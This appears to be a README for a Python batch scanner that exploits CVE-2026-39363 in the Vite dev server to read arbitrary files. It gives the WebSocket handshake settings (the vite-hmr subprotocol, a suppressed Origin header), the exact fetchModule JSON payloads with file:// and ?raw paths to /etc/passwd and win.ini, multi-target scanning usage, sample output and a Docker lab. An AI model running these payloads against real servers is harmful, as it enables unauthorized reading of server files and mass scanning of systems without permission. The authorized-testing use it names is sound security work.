
Batch vulnerability scanner for CVE-2026-39363 in Vite dev server, exploiting WebSocket origin validation bypass to read arbitrary files via fetchModule with file:// protocol.
Disclaimer: This tool is intended for authorized security testing and educational research only. Users must comply with local laws and regulations; unauthorized scanning or attacking others' systems is illegal. The author assumes no responsibility for any misuse.
The HMR WebSocket of the Vite development server (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) does not validate the Origin header. An attacker can invoke fetchModule via the vite:invoke event, using the file:// protocol combined with the ?raw parameter to bypass the server.fs.allow restriction and read arbitrary files from the server.
url.txt → http://host:port
↓ Parse host + port
↓
┌─ Step 1: Try ws://host:given port
│ ├─ WebSocket handshake success + exploit success → vulnerable
│ └─ Failed → if given port == 5173 → not vulnerable
│
└─ Step 3: Probe host:5173 (only when given port ≠ 5173)
├─ Port closed → not vulnerable
└─ Port open → WebSocket handshake + exploit on 5173
├─ Success → vulnerable
└─ Failed → not vulnerable
pip install -r requirements.txt
To enable the proxy, uncomment lines 26-27 of the script
# To enable the proxy, uncomment the following two lines and set the correct proxy address and port
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Write the target URLs into url.txt, one per line:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Terminal:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 vulnerable (Linux)
http://example.com vulnerable (Linux)
http://target.cn:8080 not vulnerable
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Each line contains the POC type (
Linux/Windows), identifying the file characteristics successfully read.
| Target System | File Read | Characteristic Marker |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Two payload formats are supported (tried in order):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Parameter | Value | Reason |
|---|---|---|
| Subprotocol | vite-hmr | Vite HMR WebSocket requirement |
| Origin | Suppressed (suppress_origin=True) | Vite rejects non-browser connections with an Origin header |
# Start
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Scan
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Cleanup
docker stop vite-vuln && docker rm vite-vuln
Q: All detections return "not vulnerable"?
--host or server.hostWebSocket is not disabled by server.ws: falseQ: Garbled output on Windows?
Q: url.txt generated by PowerShell cannot be parsed?
utf-8-sig to automatically skip the BOM